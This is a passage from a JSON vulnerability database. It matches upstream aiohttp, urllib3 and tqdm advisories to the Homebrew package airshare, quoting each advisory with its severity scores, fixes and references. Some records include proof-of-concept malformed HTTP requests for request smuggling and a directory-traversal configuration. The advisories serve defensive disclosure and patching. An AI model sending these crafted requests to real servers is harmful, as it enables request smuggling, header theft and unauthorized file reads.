body.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:A/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-g4mx-q9vg-27p4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45803"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/4e50fbc5db74e32cabd5ccc1ab81fc103adfe0b3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/4e98d57809dacab1cbe625fddeec1a290c478ea9"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b594c5ceaca38e1ac215f916538fb128e3526a36"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-212.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/1.26.18"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.0.7"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4R2Y5XK3WALSR3FNAGN7JBYV2B343ZKB"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5F5CUBAN5XMEBVBZPHFITBLMJV5FIJJ5"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PPDPLM6UUMN55ESPQWJFLLIZY4ZKCNRX"},{"type":"WEB","url":"https://www.rfc-editor.org/rfc/rfc9110.html#name-get"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-47627","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-gfw2-4jvh-wgfg","CVE-2023-47627","PYSEC-2023-246"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.6","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP has problems in HTTP parser (the python one, not llhttp)","details":"# Summary\nThe HTTP parser in AIOHTTP has numerous problems with header parsing, which could lead to request smuggling.\nThis parser is only used when `AIOHTTP_NO_EXTENSIONS` is enabled (or not using a prebuilt wheel).\n \n# Details\n\n## Bug 1: Bad parsing of `Content-Length` values\n\n### Description\nRFC 9110 says this:\n> `Content-Length = 1*DIGIT`\n\nAIOHTTP does not enforce this rule, presumably because of an incorrect usage of the builtin `int` constructor. Because the `int` constructor accepts `+` and `-` prefixes, and digit-separating underscores, using `int` to parse CL values leads AIOHTTP to significant misinterpretation.\n\n### Examples\n```\nGET / HTTP/1.1\\r\\n\nContent-Length: -0\\r\\n\n\\r\\n\nX\n```\n```\nGET / HTTP/1.1\\r\\n\nContent-Length: +0_1\\r\\n\n\\r\\n\nX\n```\n\n### Suggested action\nVerify that a `Content-Length` value consists only of ASCII digits before parsing, as the standard requires.\n\n## Bug 2: Improper handling of NUL, CR, and LF in header values\n\n### Description\nRFC 9110 says this:\n> Field values containing CR, LF, or NUL characters are invalid and dangerous, due to the varying ways that implementations might parse and interpret those characters; a recipient of CR, LF, or NUL within a field value MUST either reject the message or replace each of those characters with SP before further processing or forwarding of that message.\n\nAIOHTTP's HTTP parser does not enforce this rule, and will happily process header values containing these three forbidden characters without replacing them with SP.\n### Examples\n```\nGET / HTTP/1.1\\r\\n\nHeader: v\\x00alue\\r\\n\n\\r\\n\n```\n```\nGET / HTTP/1.1\\r\\n\nHeader: v\\ralue\\r\\n\n\\r\\n\n```\n```\nGET / HTTP/1.1\\r\\n\nHeader: v\\nalue\\r\\n\n\\r\\n\n```\n### Suggested action\nReject all messages with NUL, CR, or LF in a header value. The translation to space thing, while technically allowed, does not seem like a good idea to me.\n\n## Bug 3: Improper stripping of whitespace before colon in HTTP headers\n\n### Description\nRFC 9112 says this:\n> No whitespace is allowed between the field name and colon. In the past, differences in the handling of such whitespace have led to security vulnerabilities in request routing and response handling. A server MUST reject, with a response status code of 400 (Bad Request), any received request message that contains whitespace between a header field name and colon.\n\nAIOHTTP does not enforce this rule, and will simply strip any whitespace before the colon in an HTTP header.\n\n### Example\n```\nGET / HTTP/1.1\\r\\n\nContent-Length : 1\\r\\n\n\\r\\n\nX\n```\n\n### Suggested action\nReject all messages with whitespace before a colon in a header field, as the standard requires.\n\n# PoC\nExample requests are embedded in the previous section. To reproduce these bugs, start an AIOHTTP server without llhttp (i.e. `AIOHTTP_NO_EXTENSIONS=1`) and send the requests given in the previous section. (e.g. by `printf`ing into `nc`)\n\n# Impact\nEach of these bugs can be used for request smuggling.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gfw2-4jvh-wgfg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-47627"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d5c12ba890557a575c313bb3017910d7616fce3d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.8.6"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-246.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FUSJVQ7OQ55RWL4XAX2F5EZ73N4ZSH6U"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VDKQ6HM3KNDU4OQI476ZWT4O7DMSIT35"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQYQL6WV535EEKSNH7KRARLLMOW5WXDM"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-47641","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-xx9p-xxvh-7g8j","CVE-2023-47641","PYSEC-2023-247"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"Aiohttp has inconsistent interpretation of `Content-Length` vs. `Transfer-Encoding` differing in C and Python fallbacks","details":"### Impact\n\nAiohttp has a security vulnerability regarding the inconsistent interpretation of the http protocol. As we know that HTTP/1.1 is persistent, if we have both Content-Length(CL) and Transfer-Encoding(TE) it can lead to incorrect interpretation of two entities that parse the HTTP and we can poison other sockets with this incorrect interpretation.\n\nA possible Proof-of-Concept (POC) would be a configuration with a reverse proxy(frontend) that accepts both CL and TE headers and aiohttp as backend. As aiohttp parses anything with chunked, we can pass a chunked123 as TE, the frontend entity will ignore this header and will parse Content-Length. I can give a Dockerfile with the configuration if you want.\n\nThe impact of this vulnerability is that it is possible to bypass any proxy rule, poisoning sockets to other users like passing Authentication Headers, also if it is present an Open Redirect (just like CVE-2021-21330) we can combine it to redirect random users to our website and log the request.\n\n\n### References\n\n- https://github.com/aio-libs/aiohttp/commit/f016f0680e4ace6742b03a70cb0382ce86abe371","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xx9p-xxvh-7g8j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-47641"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f016f0680e4ace6742b03a70cb0382ce86abe371"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.8.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-247.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-49081","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-q3qx-c6g2-7pw2","CVE-2023-49081","PYSEC-2023-250"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_8"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp's ClientSession is vulnerable to CRLF injection via version","details":"### Summary\nImproper validation make it possible for an attacker to modify the HTTP request (e.g. to insert a new header) or even create a new HTTP request if the attacker controls the HTTP version.\n\n### Details\nThe vulnerability only occurs if the attacker can control the HTTP version of the request (including its type).\nFor example if an unvalidated JSON value is used as a version and the attacker is then able to pass an array as the `version` parameter.\nFurthermore, the vulnerability only occurs when the `Connection` header is passed to the `headers` parameter.\n\nAt this point, the library will use the parsed value to create the request. If a list is passed, then it bypasses validation and it is possible to perform CRLF injection.\n\n### PoC\nThe POC below shows an example of providing an unvalidated array as a version:\nhttps://gist.github.com/jnovikov/184afb593d9c2114d77f508e0ccd508e\n\n### Impact\nCRLF injection leading to Request Smuggling.\n\n### Workaround\nIf these specific conditions are met and you are unable to upgrade, then validate the user input to the `version` parameter to ensure it is a `str`.\n\nPatch: https://github.com/aio-libs/aiohttp/pull/7835/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-q3qx-c6g2-7pw2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49081"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/7835/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/1e86b777e61cf4eefc7d92fa57fa19dcc676013b"},{"type":"WEB","url":"https://gist.github.com/jnovikov/184afb593d9c2114d77f508e0ccd508e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-250.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TY5SI6NK5243DEEDQUFKQKW5GQNKQUMA"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WSYWMP64ZFCTC3VO6RY6EC6VSSMV6I3A"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2023-49082","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-qvrw-v9rv-5rjx","CVE-2023-49082","PYSEC-2023-251"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_8"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp's ClientSession is vulnerable to CRLF injection via method","details":"### Summary\nImproper validation makes it possible for an attacker to modify the HTTP request (e.g. insert a new header) or even create a new HTTP request if the attacker controls the HTTP method.\n\n### Details\nThe vulnerability occurs only if the attacker can control the HTTP method (GET, POST etc.) of the request.\n\nPrevious releases performed no validation on the provided value. If an attacker controls the HTTP method it will be used as is and can lead to HTTP request smuggling.\n\n### PoC\nA minimal example can be found here:\nhttps://gist.github.com/jnovikov/7f411ae9fe6a9a7804cf162a3bdbb44b\n\n### Impact\nIf the attacker can control the HTTP version of the request it will be able to modify the request (request smuggling).\n\n### Workaround\nIf unable to upgrade and using user-provided values for the request method, perform manual validation of the user value (e.g. by restricting it to a few known values like GET, POST etc.).\n\nPatch: https://github.com/aio-libs/aiohttp/pull/7806/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-qvrw-v9rv-5rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49082"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/7806/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e4ae01c2077d2cfa116aa82e4ff6866857f7c466"},{"type":"WEB","url":"https://gist.github.com/jnovikov/7f411ae9fe6a9a7804cf162a3bdbb44b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-251.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TY5SI6NK5243DEEDQUFKQKW5GQNKQUMA"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WSYWMP64ZFCTC3VO6RY6EC6VSSMV6I3A"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-23334","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-5h86-8mv2-jq9f","CVE-2024-23334","PYSEC-2024-24"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_8"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp is vulnerable to directory traversal","details":"### Summary\nImproperly configuring static resource resolution in aiohttp when used as a web server can result in the unauthorized reading of arbitrary files on the system.\n\n### Details\nWhen using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if a given file path is within the root directory.This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present.\n\ni.e. An application is only vulnerable with setup code like:\n```\napp.router.add_routes([\n    web.static(\"/static\", \"static/\", follow_symlinks=True),  # Remove follow_symlinks to avoid the vulnerability\n])\n```\n\n### Impact\nThis is a directory traversal vulnerability with CWE ID 22. When using aiohttp as a web server and enabling static resource resolution with `follow_symlinks` set to True, it can lead to this vulnerability. This vulnerability has been present since the introduction of the `follow_symlinks` parameter.\n\n### Workaround\nEven if upgrading to a patched version of aiohttp, we recommend following these steps regardless.\n\nIf using `follow_symlinks=True` outside of a restricted local development environment, disable the option immediately. This option is NOT needed to follow symlinks which point to a location _within_ the static root directory, it is _only_ intended to allow a symlink to break out of the static directory. Even with this CVE fixed, there is still a substantial risk of misconfiguration when using this option on a server that accepts requests from remote users.\n\nAdditionally, aiohttp has always recommended using a reverse proxy server (such as nginx) to handle static resources and _not_ to use these static resources in aiohttp for production environments. Doing so also protects against this vulnerability, and is why we expect the number of affected users to be very low.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8079/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5h86-8mv2-jq9f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23334"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8079"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8079/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/1c335944d6a8b1298baf179b7c0b3069f10c514b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2024-24.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7"},{"type":"WEB","url":"https://www.exploit-db.com/exploits/52474"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-23829","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-8qpw-xqxj-h4r2","CVE-2024-23829","PYSEC-2024-26"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_8"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp's HTTP parser (the python one, not llhttp) still overly lenient about separators","details":"### Summary\nSecurity-sensitive parts of the *Python HTTP parser* retained minor differences in allowable character sets, that must trigger error handling to robustly match frame boundaries of proxies in order to protect against injection of additional requests. Additionally, validation could trigger exceptions that were not handled consistently with processing of other malformed input.\n\n### Details\nThese problems are rooted in pattern matching protocol elements, previously improved by PR #3235 and GHSA-gfw2-4jvh-wgfg:\n\n1. The expression `HTTP/(\\d).(\\d)` lacked another backslash to clarify that the separator should be a literal dot, not just *any* Unicode code point (result: `HTTP/(\\d)\\.(\\d)`).\n\n2. The HTTP version was permitting Unicode digits, where only ASCII digits are standards-compliant.\n\n3. Distinct regular expressions for validating HTTP Method and Header field names were used - though both should (at least) apply the common restrictions of rfc9110 `token`.\n\n### PoC\n`GET / HTTP/1ö1`\n`GET / HTTP/1.𝟙`\n`GET/: HTTP/1.1`\n`Content-Encoding?: chunked`\n\n### Impact\nPrimarily concerns running an aiohttp server without llhttp:\n 1. **behind a proxy**: Being more lenient than internet standards require could, depending on deployment environment, assist in request smuggling.\n 2. **directly accessible** or exposed behind proxies relaying malformed input: the unhandled exception could cause excessive resource consumption on the application server and/or its logging facilities.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8074/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-8qpw-xqxj-h4r2"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gfw2-4jvh-wgfg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23829"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/3235"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8074"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8074/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/33ccdfb0a12690af5bb49bda2319ec0907fa7827"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2024-26.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-27306","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-7gpw-8wmc-pm8g","CVE-2024-27306","PYSEC-2026-1102"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_9"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp Cross-site Scripting vulnerability on index pages for static file handling","details":"### Summary\n\nA XSS vulnerability exists on index pages for static file handling.\n\n### Details\n\nWhen using `web.static(..., show_index=True)`, the resulting index pages do not escape file names.\n\nIf users can upload files with arbitrary filenames to the static directory, the server is vulnerable to XSS attacks.\n\n### Workaround\n\nWe have always recommended using a reverse proxy server (e.g. nginx) for serving static files. Users following the recommendation are unaffected.\n\nOther users can disable `show_index` if unable to upgrade.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8319/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-7gpw-8wmc-pm8g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-27306"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8319"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8319/files"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/28335525d1eac015a7e7584137678cbb6ff19397"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2EXRGTN2WG7VZLUZ7WOXU5GQJKCPPHKP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NWEI6NIHZ3G7DURDZVMRK7ZEFC2BTD3U"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZIVBMPEY7WWOFMC3CWXFBRQPFECV4SW3"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-30251","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:02Z","upstream":["GHSA-5m98-qgg9-wh84","CVE-2024-30251","PYSEC-2026-1098"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_9"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp vulnerable to Denial of Service when trying to parse malformed POST requests","details":"### Summary\nAn attacker can send a specially crafted POST (multipart/form-data) request. When the aiohttp server processes it, the server will enter an infinite loop and be unable to process any further requests.\n\n### Impact\nAn attacker can stop the application from serving requests after sending a single request.\n\n-------\n\nFor anyone needing to patch older versions of aiohttp, the minimum diff needed to resolve the issue is (located in `_read_chunk_from_length()`):\n\n```diff\ndiff --git a/aiohttp/multipart.py b/aiohttp/multipart.py\nindex 227be605c..71fc2654a 100644\n--- a/aiohttp/multipart.py\n+++ b/aiohttp/multipart.py\n@@ -338,6 +338,8 @@ class BodyPartReader:\n         assert self._length is not None, \"Content-Length required for chunked read\"\n         chunk_size = min(size, self._length - self._read_bytes)\n         chunk = await self._content.read(chunk_size)\n+        if self._content.at_eof():\n+            self._at_eof = True\n         return chunk\n \n     async def _read_chunk_from_stream(self, size: int) -> bytes:\n```\n\nThis does however introduce some very minor issues with handling form data. So, if possible, it would be recommended to also backport the changes in:\nhttps://github.com/aio-libs/aiohttp/commit/cebe526b9c34dc3a3da9140409db63014bc4cf19\nhttps://github.com/aio-libs/aiohttp/commit/7eecdff163ccf029fbb1ddc9de4169d4aaeb6597\nhttps://github.com/aio-libs/aiohttp/commit/f21c6f2ca512a026ce7f0f6c6311f62d6a638866","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5m98-qgg9-wh84"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-30251"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/7eecdff163ccf029fbb1ddc9de4169d4aaeb6597"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/cebe526b9c34dc3a3da9140409db63014bc4cf19"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f21c6f2ca512a026ce7f0f6c6311f62d6a638866"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2024/05/02/4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2024-34062","published":"2026-08-13T16:35:13Z","modified":"2026-10-02T10:45:18Z","upstream":["GHSA-g7vv-2v7x-gj9p","CVE-2024-34062","PYSEC-2026-1976"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_10"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.66.3","resource":"tqdm","resource_purl":"pkg:pypi/tqdm@4.70.1"}}],"database_specific":{"source":"matched","strateg